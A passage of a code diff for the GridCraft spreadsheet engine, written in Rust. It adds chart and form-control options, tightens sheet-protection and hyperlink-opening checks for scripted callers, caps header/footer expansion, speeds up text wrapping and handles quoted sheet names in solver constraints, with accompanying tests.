-            "{kind: chart|image|shape|slicer|equation, id, mode: moveAndSize|moveOnly|absolute}",
+            "{kind: chart|image|shape|slicer|equation|control, id, mode: moveAndSize|moveOnly|absolute}",
            has_doc,
            set_anchor_mode
        ),
@@ -179,7 +179,7 @@ pub fn specs() -> Vec<CommandSpec> {
            "Open Hyperlink",
            [],
            None,
-            "{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); only http, https and mailto are opened, any other scheme is an error; the UI asks before opening",
+            "{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); a reference selects; a web or e-mail address is an error unless the host allows it: the user opens those by clicking the link and confirming; any scheme but http, https and mailto is always an error",
            has_doc,
            open_link
        ),
@@ -850,6 +850,8 @@ pub fn build_chart(s: &Session, p: &Json) -> Result<(usize, Chart)> {
        data_table: None,
        gridlines: !matches!(kind, ChartKind::Pie | ChartKind::Doughnut | ChartKind::Treemap | ChartKind::Sunburst | ChartKind::Funnel),
        style: 1,
+        hole_size: 75,
+        first_slice_angle: 0,
        x_title: None,
        y_title: None,
        source: (areas.len() == 1).then(|| format!("{}!{}", gridcraft_formula::quote_sheet(&sh.name), bounds.a1())),
@@ -926,6 +928,12 @@ fn chart_set(s: &mut Session, p: &Json) -> Result<Json> {
        if let Some(v) = u32_param(p, "style") {
            c.style = v.clamp(1, 16);
        }
+        if let Some(v) = u32_param(p, "holeSize") {
+            c.hole_size = v.clamp(10, 90) as u8;
+        }
+        if let Some(v) = u32_param(p, "firstSliceAngle") {
+            c.first_slice_angle = (v % 360) as u16;
+        }
        if let Some(t) = p.get("xTitle") {
            c.x_title = t.as_str().map(str::to_string);
        }
@@ -1100,6 +1108,10 @@ fn insert_picture(s: &mut Session, p: &Json) -> Result<Json> {
        .unwrap_or_else(|| if data.starts_with(&[0x89, b'P', b'N', b'G']) { "image/png".into() } else { "image/jpeg".into() });
    let (w, h) = crate::io::image_size(&data).unwrap_or((320, 240));
    let d = s.doc()?;
+    // Sheet protection locks drawing objects, as for a text box's text.
+    if d.wb.active().is_some_and(|sh| sh.is_protected()) {
+        return Err(EngineError::Other(PROTECTED.into()));
+    }
    let id = d.wb.next_object_id();
    let at = cell_param(s, p, "at")?.unwrap_or(d.selection.active);
    let scale = (640.0 / w.max(1) as f32).min(1.0);
@@ -1231,13 +1243,16 @@ fn shape_set_text(s: &mut Session, p: &Json) -> Result<Json> {
 /// objects are errors, so a stale id never succeeds silently.
 fn object_param(s: &Session, p: &Json, cmd: &str) -> Result<(usize, ObjRef)> {
    let id = u32_param(p, "id").ok_or_else(|| bad(cmd, "missing `id`"))?;
-    let kind = str_param(p, "kind").and_then(ObjKind::parse).ok_or_else(|| bad(cmd, "kind must be chart, image, shape, slicer or equation"))?;
+    let kind =
+        str_param(p, "kind").and_then(ObjKind::parse).ok_or_else(|| bad(cmd, "kind must be chart, image, shape, slicer, equation or control"))?;
    let d = s.doc()?;
    let sheet = d.wb.active_sheet();
    let o = ObjRef::new(kind, id);
    if !d.wb.sheet(sheet).is_some_and(|sh| sh.has_object(o)) {
        return Err(bad(cmd, "no such object"));
    }
+    // A locked form control on a protected sheet stays as it is.
+    super::controls::check_objects_unlocked(s, sheet, kind, &[id])?;
    Ok((sheet, o))
 }

@@ -1336,9 +1351,11 @@ fn insert_link(s: &mut Session, p: &Json) -> Result<Json> {
    })
 }

-/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the
-/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no
-/// dialog; the interactive click asks for confirmation first, in the UI.
+/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]).
+/// An `http`/`https`/`mailto` address is refused too unless the host set
+/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so
+/// the user opens such links by clicking and confirming, and the UI then calls
+/// [`Session::open_confirmed_link`] (#2181). Opens no dialog.
 fn open_link(s: &mut Session, p: &Json) -> Result<Json> {
    let target = match str_param(p, "url").or_else(|| str_param(p, "target")) {
        Some(t) => t.to_string(),
@@ -1354,6 +1371,9 @@ fn open_link(s: &mut Session, p: &Json) -> Result<Json> {
    match crate::links::classify(&target) {
        crate::links::LinkKind::Internal(r) => super::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})),
        crate::links::LinkKind::External(u) => {
+            if s.link_policy != crate::links::LinkPolicy::Allow {
+                return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into()));
+            }
            s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone()));
            Ok(json!({"opened": u}))
        }
@@ -1733,7 +1753,13 @@ fn clear_cf(s: &mut Session, p: &Json) -> Result<Json> {
            sh.cond_formats.clear();
        } else {
            for cf in sh.cond_formats.iter_mut() {
+                let before = RangeRef::top_left(&cf.ranges);
                cf.ranges.retain(|r| !ranges.iter().any(|x| x.intersects(r)));
+                // The relative formulas are written for the top-left cell: when it goes, they're
+                // rewritten for the new one, so the areas left keep reading the same cells.
+                if let (Some(from), Some(to)) = (before, RangeRef::top_left(&cf.ranges)) {
+                    rebase_cf_formulas(&mut cf.rule, from, to);
+                }
            }
            sh.cond_formats.retain(|c| !c.ranges.is_empty());
        }
@@ -1741,6 +1767,19 @@ fn clear_cf(s: &mut Session, p: &Json) -> Result<Json> {
    })
 }

+/// Moves the relative references of a rule's per-cell formulas written for `from` to `to`.
+fn rebase_cf_formulas(rule: &mut CfRule, from: CellRef, to: CellRef) {
+    let mv = |f: &str| crate::cmd::data::move_rule_formula(f, from, to);
+    match rule {
+        CfRule::CellIs { a, b, .. } => {
+            *a = mv(a);
+            *b = b.as_deref().map(mv);
+        }
+        CfRule::Expression { formula, .. } => *formula = mv(formula),
+        _ => {}
+    }
+}
+
 fn manage_cf(s: &mut Session, p: &Json) -> Result<Json> {
    let sheet = target_sheet(s, p)?;
    if p.get("delete").is_none() && p.get("moveUp").is_none() && p.get("moveDown").is_none() {
@@ -28,7 +28,7 @@ pub fn specs() -> Vec<CommandSpec> {
            "Run Macro",
            [],
            None,
-            "{name, inputs?: {Input: \"B2:D9\"} | \"B2:D9\", onConflict?: ask|fail|overwrite|shiftDown|shiftRight, overwrite?: bool, approve?: bool, timeLimit?: seconds} runs as one undo step; any error rolls it all back → {macro, ran, inputs, stopped?, shifted?}",
+            "{name, inputs?: {Input: \"B2:D9\"} | \"B2:D9\", output?: \"F2\" (instead of the macro's output anchor), onConflict?: ask|fail|overwrite|shiftDown|shiftRight, overwrite?: bool, approve?: bool, timeLimit?: seconds} runs as one undo step; any error rolls it all back → {macro, ran, inputs, stopped?, shifted?}",
            has_doc,
            run
        ),
@@ -37,7 +37,7 @@ pub fn specs() -> Vec<CommandSpec> {
            "Check Macro",
            [],
            None,
-            "{name, inputs?, onConflict?, overwrite?, timeLimit?: seconds} validates the inputs and dry-runs the macro on the workbook (then puts everything back) → {ok (macro.run with these parameters would go ahead without a question), errors?, needsApproval?, onConflict, inputs, output?, conflicts, footprint}",
+            "{name, inputs?, output?: \"F2\" (as macro.run), onConflict?, overwrite?, timeLimit?: seconds} validates the inputs and dry-runs the macro on the workbook (then puts everything back) → {ok (macro.run with these parameters would go ahead without a question), errors?, needsApproval?, onConflict, inputs, output?, conflicts, footprint}",
            has_doc,
            check
        ),
@@ -55,7 +55,7 @@ pub fn specs() -> Vec<CommandSpec> {
            "Step Into",
            [],
            None,
-            "{action: start|step|continue|runTo|stop|state, name, inputs?, onConflict?, overwrite?, approve?, timeLimit?: seconds per action (start, as macro.run), step: path (runTo), keep?: bool (stop), breakpoints?: [\"3\", \"2.1\"] (steps of the macro), breakpointsOnly?: bool (the list replaces the steps' own breakpoints)} debugs a macro one step at a time; stop keeps the changes as one undo step or rolls them back. Runs on its own, never as a step of a script or macro. Until it finishes or stops, its workbook runs only macro.debug, queries, selection and sheet changes, Go To, Find, Copy, zoom, Switch Window, Close and Stop Action (other workbooks stay editable) → {state: paused|finished|stopped|failed, current: {step, kind, command?, params?, iteration?}, lastParams, executed, changed (at most 500), changedCells, atBreakpoint?, shifted?, wroteFiles?, message?, error?}",
+            "{action: start|step|continue|runTo|stop|state, name, inputs?, output?, overwrite?, approve?, timeLimit?: seconds per action (start, as macro.run), step: path (runTo), keep?: bool (stop), breakpoints?: [\"3\", \"2.1\"] (steps of the macro), breakpointsOnly?: bool (the list replaces the steps' own breakpoints)} debugs a macro one step at a time; stop keeps the changes as one undo step or rolls them back. Runs on its own, never as a step of a script or macro. Until it finishes or stops, its workbook runs only macro.debug, queries, selection and sheet changes, Go To, Find, Copy, zoom, Switch Window, Close and Stop Action (other workbooks stay editable) → {state: paused|finished|stopped|failed, current: {step, kind, command?, params?, iteration?}, lastParams, executed, changed (at most 500), changedCells, atBreakpoint?, shifted?, wroteFiles?, message?, error?}",
            has_doc,
            |s, p| crate::macros::debug::debug(s, p)
        ),
@@ -170,7 +170,21 @@ fn rename(s: &mut Session, p: &Json) -> Result<Json> {
        renamed.name = to.clone();
        // The whole check, size included: a longer name can take a macro past what a file holds.
        crate::macros::check(&renamed).map_err(EngineError::Other)?;
-        *m = renamed;
+        let from = std::mem::replace(m, renamed).name;
+        // Buttons that run the macro follow the new name.
+        let runs = |c: &gridcraft_model::FormControl| matches!(&c.action, Some(gridcraft_model::ControlAction::Macro { name, .. }) if name.eq_ignore_ascii_case(&from));
+        for si in 0..cx.wb.sheets.len() {
+            if !cx.wb.sheet(si).is_some_and(|sh| sh.controls.iter().any(runs)) {
+                continue;
+            }
+            for c in cx.sheet_mut(si)?.controls.iter_mut() {
+                if let Some(gridcraft_model::ControlAction::Macro { name, .. }) = &mut c.action
+                    && name.eq_ignore_ascii_case(&from)
+                {
+                    *name = to.clone();
+                }
+            }
+        }
        Ok(())
    })?;
    Ok(json!({"name": to}))
@@ -67,6 +67,8 @@ pub(super) fn insert_pivot_chart(s: &mut Session, p: &Json) -> Result<Json> {
        data_labels: false,
        data_table: None,
        gridlines: !matches!(kind, ChartKind::Pie | ChartKind::Doughnut | ChartKind::Treemap | ChartKind::Sunburst | ChartKind::Funnel),
+        hole_size: 75,
+        first_slice_angle: 0,
        style: 1,
        x_title: None,
        y_title: None,
@@ -67,9 +67,6 @@ fn field_list(v: Option<&Json>) -> Vec<Json> {
 }

 pub(super) fn insert_pivot(s: &mut Session, p: &Json) -> Result<Json> {
-    if s.doc()?.wb.protected_structure && matches!(str_param(p, "destination"), None | Some("new")) {
-        return Err(other("The workbook is protected and cannot be changed."));
-    }
    let source = source_param(s, p)?;
    let active = s.doc()?.wb.active_sheet();
    // Validate the source now (header names, size).
@@ -98,6 +95,10 @@ pub(super) fn insert_pivot(s: &mut Session, p: &Json) -> Result<Json> {
        let at = RangeRef::parse(body).map(|r| r.start).ok_or_else(|| bad("insert.pivotTable", format!("not a cell: `{dest}`")))?;
        Some((si, at))
    };
+    // Decided on the resolved destination: `New`, ` new ` and an empty one all make a sheet.
+    if target.is_none() && s.doc()?.wb.protected_structure {
+        return Err(other("The workbook is protected and cannot be changed."));
+    }
    let replace = bool_param(p, "replace").unwrap_or(false);
    let rows = field_list(p.get("rows"));
    let columns = field_list(p.get("columns"));
@@ -507,9 +507,13 @@ pub(super) fn value_settings(s: &mut Session, p: &Json) -> Result<Json> {
        let mut v = cur.clone();
        if let Some(f) = func {
            v.func = f;
-            // An automatic caption follows the function.
-            let auto = auto_name(cur.func, &cur.source_col);
-            if cur.name.eq_ignore_ascii_case(&auto) || cur.name.strip_prefix(auto.as_str()).is_some_and(|r| r.chars().all(|c| c.is_ascii_digit())) {
+            // An automatic caption follows the function. Count Numbers was captioned "Count
+            // Numbers of …" before it took Excel's "Count of …", and saved workbooks still carry it.
+            let is_auto = |base: &str| {
+                cur.name.eq_ignore_ascii_case(base) || cur.name.strip_prefix(base).is_some_and(|r| r.chars().all(|c| c.is_ascii_digit()))
+            };
+            let legacy = cur.func == PivotFunc::CountNumbers && is_auto(&format!("Count Numbers of {}", cur.source_col));
+            if is_auto(&auto_name(cur.func, &cur.source_col)) || legacy {
                v.name = unique_value_name(pt, &auto_name(f, &cur.source_col), Some(i));
            }
        }
@@ -168,6 +168,19 @@ fn filters_and_report_filter_rows() {
    assert!(s.execute("pivot.filter", json!({"field": "Product", "selected": []})).is_err());
 }

+/// A selection of the most labels allowed (100,000) is looked up once per record, not scanned: the
+/// report still filters case-insensitively.
+#[test]
+fn a_huge_filter_selection_is_matched_through_a_set() {
+    let mut s = sales();
+    s.execute("insert.pivotTable", json!({"rows": ["Product"], "values": ["Sales"], "filters": ["Region"]})).unwrap();
+    let mut selected: Vec<String> = (0..99_999).map(|i| format!("Region {i}")).collect();
+    selected.push("EAST".into());
+    s.execute("pivot.filter", json!({"field": "Region", "selected": selected})).unwrap();
+    let gt = find_row(&s, "Grand Total").unwrap();
+    assert_eq!(val(&s, &CellRef::new(gt, 1).a1()), Value::Number(415.0));
+}
+
 #[test]
 fn show_values_as() {
    let mut s = sales();
@@ -1013,3 +1026,36 @@ fn detail_cells_are_the_cells_show_details_takes() {
    let pt = &d.wb.active().unwrap().pivots[0];
    assert!(crate::pivot::detail_cells(&d.wb, pt, d.wb.active_sheet()).unwrap_err().contains("out of date"));
 }
+
+#[test]
+fn rank_ties_are_dense_and_count_numbers_is_captioned_count_of() {
+    // #1448 items 10 and 12: Excel ranks 5, 4, 3, 3, 4 as 1, 2, 3, 3, 2 (GridCraft gave 1, 2, 4,
+    // 4, 2), and captions a Count Numbers field "Count of Val".
+    let mut s = Session::new();
+    s.new_workbook();
+    let rows = json!([["Key", "Val"], ["A", 5], ["B", 4], ["C", 3], ["D", 3], ["E", 4]]);
+    s.execute("range.setValues", json!({"range": "A1", "values": rows})).unwrap();
+    s.execute("insert.pivotTable", json!({"source": "Sheet1!$A$1:$B$6", "destination": "Sheet1!D3", "rows": ["Key"], "values": ["Val"]})).unwrap();
+    s.execute("pivot.valueSettings", json!({"index": 0, "showAs": "rank"})).unwrap();
+    let ranks: Vec<Value> = ["E4", "E5", "E6", "E7", "E8"].iter().map(|a| val(&s, a)).collect();
+    assert_eq!(ranks, [1.0, 2.0, 3.0, 3.0, 2.0].map(Value::Number));
+    s.execute("pivot.valueSettings", json!({"index": 0, "showAs": "normal", "func": "countNumbers"})).unwrap();
+    assert_eq!(text(&s, "E3"), "Count of Val");
+}
+
+#[test]
+fn legacy_count_numbers_caption_follows_the_function() {
+    // Workbooks saved before Count Numbers was captioned "Count of" carry "Count Numbers of Val";
+    // that is still an automatic caption, so it follows a new function. A custom name stays.
+    let mut s = Session::new();
+    s.new_workbook();
+    let rows = json!([["Key", "Val"], ["A", 5], ["B", 4]]);
+    s.execute("range.setValues", json!({"range": "A1", "values": rows})).unwrap();
+    s.execute("insert.pivotTable", json!({"source": "Sheet1!$A$1:$B$3", "destination": "Sheet1!D3", "rows": ["Key"], "values": ["Val"]})).unwrap();
+    for (legacy, after) in [("Count Numbers of Val", "Sum of Val"), ("Count Numbers of Val2", "Sum of Val"), ("Numbers counted", "Numbers counted")] {
+        s.execute("pivot.valueSettings", json!({"index": 0, "func": "countNumbers", "name": legacy})).unwrap();
+        assert_eq!(text(&s, "E3"), legacy);
+        s.execute("pivot.valueSettings", json!({"index": 0, "func": "sum"})).unwrap();
+        assert_eq!(text(&s, "E3"), after, "{legacy}");
+    }
+}
@@ -153,6 +153,17 @@ pub struct HfSection {
    pub size: Option<f32>,
 }

+/// Most bytes one section's expanded text may hold. A code like `&A` adds the whole sheet name
+/// (or file path) each time it appears, and a JSON workbook's names have no length limit.
+const MAX_SECTION_BYTES: usize = 64 * 1024;
+
+/// Appends `s` unless the section would pass [`MAX_SECTION_BYTES`]; what doesn't fit is left out.
+fn push_field(text: &mut String, s: &str) {
+    if text.len().saturating_add(s.len()) <= MAX_SECTION_BYTES {
+        text.push_str(s);
+    }
+}
+
 /// Expands a header/footer string into its left, centre and right sections.
 pub fn expand_header_footer(spec: &str, cx: &HfContext) -> [HfSection; 3] {
    let mut out: [HfSection; 3] = Default::default();
@@ -187,14 +198,14 @@ pub fn expand_header_footer(spec: &str, cx: &HfContext) -> [HfSection; 3] {
                        i += 1 + digits.len();
                    }
                }
-                sec.text.push_str(&n.to_string());
+                push_field(&mut sec.text, &n.to_string());
            }
-            'N' | 'n' => sec.text.push_str(&cx.pages.to_string()),
-            'D' | 'd' => sec.text.push_str(&cx.date),
-            'T' | 't' => sec.text.push_str(&cx.time),
-            'A' | 'a' => sec.text.push_str(&cx.sheet),
-            'F' | 'f' => sec.text.push_str(&cx.file),
-            'Z' | 'z' => sec.text.push_str(&cx.path),
+            'N' | 'n' => push_field(&mut sec.text, &cx.pages.to_string()),
+            'D' | 'd' => push_field(&mut sec.text, &cx.date),
+            'T' | 't' => push_field(&mut sec.text, &cx.time),
+            'A' | 'a' => push_field(&mut sec.text, &cx.sheet),
+            'F' | 'f' => push_field(&mut sec.text, &cx.file),
+            'Z' | 'z' => push_field(&mut sec.text, &cx.path),
            '&' => sec.text.push('&'),
            'B' | 'b' => sec.bold = !sec.bold,
            'I' | 'i' => sec.italic = !sec.italic,
@@ -414,6 +414,12 @@ fn pdf_contains_text_and_header_codes_expand() {
    assert_eq!(r.text, "P4/9 9:00 AM");
    assert_eq!(expand_header_footer("plain", &cx)[1].text, "plain");
    assert_eq!(expand_header_footer("&", &cx)[1].text, "");
+    // A megabyte sheet name repeated by 5,000 `&A` codes stops at the section's 64 KiB.
+    let long = HfContext { sheet: "S".repeat(1024 * 1024), ..cx };
+    let [_, c, _] = expand_header_footer(&"&A".repeat(5_000), &long);
+    assert!(c.text.is_empty(), "the name alone is over the limit");
+    let short = HfContext { sheet: "S".repeat(1000), ..Default::default() };
+    assert_eq!(expand_header_footer(&"&A".repeat(5_000), &short)[1].text.len(), 65_000);
 }

 #[test]
@@ -695,6 +701,79 @@ fn bands_unit() {
    assert!(w.len() > 2);
 }

+/// The wrapper `wrap_lines` replaced, re-measuring strings, as the reference for its lines.
+fn wrap_lines_remeasuring(text: &str, font: Font, size: f32, width: f32) -> Vec<String> {
+    let mut out = Vec::new();
+    for para in text.split('\n') {
+        let mut line = String::new();
+        for word in para.split(' ') {
+            let cand = if line.is_empty() { word.to_string() } else { format!("{line} {word}") };
+            if line.is_empty() || gridcraft_pdf::text_width(font, size, &cand) <= width {
+                line = cand;
+            } else {
+                out.push(std::mem::take(&mut line));
+                line = word.to_string();
+            }
+            while gridcraft_pdf::text_width(font, size, &line) > width && line.chars().count() > 1 {
+                let chars: Vec<char> = line.chars().collect();
+                let (mut lo, mut hi) = (1usize, chars.len());
+                while lo < hi {
+                    let mid = lo + (hi - lo).div_ceil(2);
+                    let cut: String = chars[..mid].iter().collect();
+                    if gridcraft_pdf::text_width(font, size, &cut) <= width {
+                        lo = mid;
+                    } else {
+                        hi = mid - 1;
+                    }
+                }
+                if lo == chars.len() {
+                    break;
+                }
+                out.push(chars[..lo].iter().collect());
+                line = chars[lo..].iter().collect();
+            }
+            if out.len() > 2000 {
+                return out;
+            }
+        }
+        out.push(line);
+    }
+    out
+}
+
+#[test]
+fn wrap_lines_matches_the_remeasuring_wrapper() {
+    let texts = [
+        "the quick brown fox jumps",
+        "Supercalifragilistic",
+        "a  b   c\n\nverylongwordthatneedsbreaking short\nend ",
+        "Wide WWWWWWWWWW words, iiiiiiii narrow ones; mixed MMMMiiiiMMMM",
+        "€ ü ß — unicode Ünïcödé text",
+        "",
+        " ",
+    ];
+    for text in texts {
+        for font in [Font::Helvetica, Font::HelveticaBold, Font::Courier] {
+            for (size, width) in [(10.0, 50.0), (10.0, 20.0), (11.0, 1.0), (8.0, 300.0), (12.0, 0.0)] {
+                assert_eq!(wrap_lines(text, font, size, width), wrap_lines_remeasuring(text, font, size, width), "{text:?} {font:?} {size} {width}");
+            }
+        }
+    }
+}
+
+#[test]
+fn wrapping_a_long_word_in_a_narrow_box_stops_at_the_line_limit() {
+    // One character per line: the old wrapper re-measured and copied the rest of the word for
+    // each of the 100,000 lines before checking the limit.
+    let word = "w".repeat(100_000);
+    let lines = wrap_lines(&word, Font::Helvetica, 10.0, 1.0);
+    assert!(lines.len() <= 2002, "{}", lines.len());
+    assert!(lines.iter().all(|l| l == "w"));
+    // A long paragraph in a very wide box is one line.
+    let para = vec!["word"; 50_000].join(" ");
+    assert_eq!(wrap_lines(&para, Font::Helvetica, 10.0, 1.0e9), vec![para.clone()]);
+}
+
 #[test]
 fn center_across_spans_following_empty_center_across_cells() {
    let mut styles = StyleTable::default();
@@ -3,42 +3,57 @@ use super::{CellRef, Color, Font, HAlign, MAX_COLS, Page, Point, RangeRef, Sheet

 const PAD_PX: f32 = 2.0;

+/// Most lines [`wrap_lines`] returns (it may return one more, the rest of a paragraph).
+const MAX_WRAP_LINES: usize = 2000;
+
 /// Word-wraps `text` to `width` points.
+///
+/// Widths are kept as running sums of glyph widths (the sum `text_width` makes), so each
+/// character is measured once: re-measuring the line for every word, or the rest of an
+/// over-long word for every piece cut from it, made a long paragraph or word quadratic.
 pub(super) fn wrap_lines(text: &str, font: Font, size: f32, width: f32) -> Vec<String> {
+    let units_of = |s: &str| -> u64 { s.chars().map(|c| u64::from(font.char_width(c))).sum() };
+    let fits = |units: u64| units as f32 * size / 1000.0 <= width;
+    let space = units_of(" ");
    let mut out = Vec::new();
    for para in text.split('\n') {
        let mut line = String::new();
+        let mut line_units: u64 = 0;
        for word in para.split(' ') {
-            let cand = if line.is_empty() { word.to_string() } else { format!("{line} {word}") };
-            if line.is_empty() || gridcraft_pdf::text_width(font, size, &cand) <= width {
-                line = cand;
+            let word_units = units_of(word);
+            if line.is_empty() {
+                line.push_str(word);
+                line_units = word_units;
+            } else if fits(line_units + space + word_units) {
+                line.push(' ');
+                line.push_str(word);
+                line_units += space + word_units;
            } else {
                out.push(std::mem::take(&mut line));
-                line = word.to_string();
+                line.push_str(word);
+                line_units = word_units;
            }
-            // Break a single over-long word by characters. The cut that fits is found by binary
-            // search (each try measures one candidate prefix), so an over-long word costs
-            // O(n log n) measurements instead of re-measuring the whole cut per character for
-            // every emitted line (`a` × 100k pasted text would be cubic worst case).
-            while gridcraft_pdf::text_width(font, size, &line) > width && line.chars().count() > 1 {
-                let chars: Vec<char> = line.chars().collect();
-                let (mut lo, mut hi) = (1usize, chars.len());
-                while lo < hi {
-                    let mid = lo + (hi - lo).div_ceil(2);
-                    let cut: String = chars[..mid].iter().collect();
-                    if gridcraft_pdf::text_width(font, size, &cut) <= width {
-                        lo = mid;
-                    } else {
-                        hi = mid - 1;
+            // Break a single over-long word by characters: each piece is the longest that fits
+            // (at least one character).
+            if !fits(line_units) && line.chars().nth(1).is_some() {
+                let mut piece = String::new();
+                let mut units: u64 = 0;
+                for c in line.chars() {
+                    let w = u64::from(font.char_width(c));
+                    if !piece.is_empty() && !fits(units + w) {
+                        out.push(std::mem::take(&mut piece));
+                        units = 0;
+                        if out.len() > MAX_WRAP_LINES {
+                            return out;
+                        }
                    }
+                    piece.push(c);
+                    units += w;
                }
-                if lo == chars.len() {
-                    break;
-                }
-                out.push(chars[..lo].iter().collect());
-                line = chars[lo..].iter().collect();
+                line = piece;
+                line_units = units;
            }
-            if out.len() > 2000 {
+            if out.len() > MAX_WRAP_LINES {
                return out;
            }
        }
@@ -398,10 +398,10 @@ fn move_columns(s: &mut Session, p: &Json) -> Result<Json> {
    {
        return Err(EngineError::Other("To prevent possible loss of data, columns cannot be shifted off of the worksheet.".into()));
    }
-    // The checks must authorize the sheet this command modifies (`target_sheet`), not whatever
-    // sheet is active: both carry the command's own `sheet` parameter on.
-    check_lines_protection(s, &json!({"cols": RangeRef::cols(before, before).a1(), "sheet": p.get("sheet")}), Axis::Cols, before, count, true)?;
-    check_lines_protection(s, &json!({"cols": RangeRef::cols(from, end - 1).a1(), "sheet": p.get("sheet")}), Axis::Cols, from, count, false)?;
+    // The checks must authorize the sheet this command modifies, not whatever sheet is active:
+    // both get the index `target_sheet` resolved (from `sheet`, or a `Sheet!` range or cell).
+    check_lines_protection(s, &json!({"cols": RangeRef::cols(before, before).a1(), "sheet": sheet}), Axis::Cols, before, count, true)?;
+    check_lines_protection(s, &json!({"cols": RangeRef::cols(from, end - 1).a1(), "sheet": sheet}), Axis::Cols, from, count, false)?;

    let moved_from = if before <= from { from + count } else { from };
    if moved_from.checked_add(count).is_none_or(|end| end > MAX_COLS) {
@@ -170,7 +170,7 @@ pub(super) fn move_sheet(s: &mut Session, p: &Json) -> Result<Json> {
            // Object ids are unique across the workbook (selection and the `{kind, id}` commands
            // rely on it), so the copied objects get fresh ones (free ones, even when a file used
            // the largest id).
-            let count = sh.charts.len() + sh.images.len() + sh.shapes.len() + sh.slicers.len();
+            let count = sh.charts.len() + sh.images.len() + sh.shapes.len() + sh.slicers.len() + sh.controls.len();
            let ids = cx.wb.free_object_ids(count);
            if ids.len() < count {
                return Err(bad("sheet.move", "no free object ids are left for the copied objects"));
@@ -181,6 +181,7 @@ pub(super) fn move_sheet(s: &mut Session, p: &Json) -> Result<Json> {
            sh.images.iter_mut().for_each(|o| o.id = fresh());
            sh.shapes.iter_mut().for_each(|o| o.id = fresh());
            sh.slicers.iter_mut().for_each(|o| o.id = fresh());
+            sh.controls.iter_mut().for_each(|o| o.id = fresh());
            let at = to.min(n);
            // The copy gets its own copies of the sheet's names, referring to the copy.
            let copies: Vec<gridcraft_model::DefinedName> = cx
@@ -1,3 +1,5 @@
+use gridcraft_core::split_areas;
+
 use super::{
    CMD, CellRef, DEFAULT_EVALS, DefinedName, EngineError, Json, MAX_CONSTRAINTS, MAX_EVALS, MAX_POPULATION, MAX_VARS, MIN_POPULATION, RangeRef,
    Result, Session, Workbook, bad, bool_param, f64_param, json, split_sheet, str_param,
@@ -138,7 +140,8 @@ pub(super) struct Model {
 fn cells_of(wb: &Workbook, t: &str, default_sheet: usize, cap: usize) -> Result<(usize, Vec<CellRef>)> {
    let mut sheet = None;
    let mut out = Vec::new();
-    for part in t.split(',').map(str::trim).filter(|x| !x.is_empty()) {
+    // A comma inside a quoted sheet name (`'Sales, West'!$A$1`) does not end the area.
+    for part in split_areas(t).into_iter().map(str::trim).filter(|x| !x.is_empty()) {
        let (sh, body) = split_sheet(part);
        let si = match sh {
            Some(n) => wb.sheet_index(&n).ok_or_else(|| bad(CMD, format!("no sheet named `{n}`")))?,
@@ -163,14 +166,30 @@ fn num_text(t: &str) -> Option<f64> {
    gridcraft_core::parse::parse_number_text(t.trim()).filter(|v| v.is_finite())
 }

-/// Splits `"B5 <= 10"` / `"B2 int"` into (lhs, relation, rhs).
+/// `t` split at the first `pat` outside quoted sheet names: `'A<=B'!$C$1 <= 5` splits at the
+/// second `<=`. A doubled quote inside a name (`'O''Brien<=1'!A1`) toggles the quoted state
+/// twice, as in [`split_areas`], so it doesn't end the name.
+fn split_unquoted<'a>(t: &'a str, pat: &str) -> Option<(&'a str, &'a str)> {
+    let mut quoted = false;
+    for (i, c) in t.char_indices() {
+        if c == '\'' {
+            quoted = !quoted;
+        } else if !quoted && t.get(i..).is_some_and(|rest| rest.starts_with(pat)) {
+            return Some((t.get(..i)?, t.get(i.saturating_add(pat.len())..)?));
+        }
+    }
+    None
+}
+
+/// Splits `"B5 <= 10"` / `"B2 int"` into (lhs, relation, rhs). A relation's characters inside
+/// a quoted sheet name (`'A<=B'!$C$1 <= 5`) are part of the name.
 fn split_constraint(t: &str) -> Option<(String, Rel, String)> {
    for op in ["<=", ">=", "=<", "=>", "≤", "≥", "=="] {
-        if let Some((a, b)) = t.split_once(op) {
+        if let Some((a, b)) = split_unquoted(t, op) {
            return Some((a.trim().into(), Rel::parse(op)?, b.trim().into()));
        }
    }
-    if let Some((a, b)) = t.split_once('=') {
+    if let Some((a, b)) = split_unquoted(t, "=") {
        return Some((a.trim().into(), Rel::Eq, b.trim().into()));
    }
    let lower = t.trim().to_ascii_lowercase();
@@ -337,8 +356,8 @@ pub fn sensitivity_applies(p: &Json) -> bool {
 /// `"B2:B4,D1"` as absolute references, each qualified by `sheet_name` when given.
 fn abs_text(sheet_name: Option<&str>, cells: &str) -> String {
    let q = sheet_name.map(|n| format!("{}!", crate::pivot::quote_sheet(n))).unwrap_or_default();
-    cells
-        .split(',')
+    split_areas(cells)
+        .into_iter()
        .map(str::trim)
        .filter(|x| !x.is_empty())
        .filter_map(|part| {
@@ -446,7 +465,7 @@ pub fn saved_model(wb: &Workbook, sheet: usize) -> Option<Json> {
    let named = |n: &str, scope: Option<usize>| wb.names.iter().find(|d| d.name.eq_ignore_ascii_case(n) && d.scope == scope);
    let scope = if named("solver_opt", Some(sheet)).is_some() { Some(sheet) } else { None };
    let get = |n: &str| named(n, scope).map(|d| d.formula.trim().trim_start_matches('=').to_string());
-    let local = |t: String| -> String { t.split(',').map(|p| split_sheet(p.trim()).1.replace('$', "")).collect::<Vec<_>>().join(",") };
+    let local = |t: String| local_refs(&t);
    let objective = local(get("solver_opt")?);
    if objective.trim_matches('"').trim().is_empty() {
        return None;
@@ -555,7 +574,8 @@ pub(super) fn model_params(wb: &Workbook, m: &Model) -> Json {

 /// The cells Save Model writes, top to bottom, as formula text.
 pub(super) fn model_formulas(m: &Model) -> Result<Vec<String>> {
-    let one_area = |t: &str| !t.contains(',');
+    // A comma inside a quoted sheet name (`'Sales, West'!$A$1`) doesn't start another area.
+    let one_area = |t: &str| split_areas(t).into_iter().filter(|a| !a.trim().is_empty()).count() <= 1;
    let mut rows = Vec::with_capacity(m.cons.len() + 3);
    let obj = abs_text(None, &m.objective.a1());
    rows.push(match m.goal {
@@ -565,7 +585,8 @@ pub(super) fn model_formulas(m: &Model) -> Result<Vec<String>> {
    });
    rows.push(format!("=COUNT({})", abs_text(None, &m.vars_text)));
    for c in &m.cons {
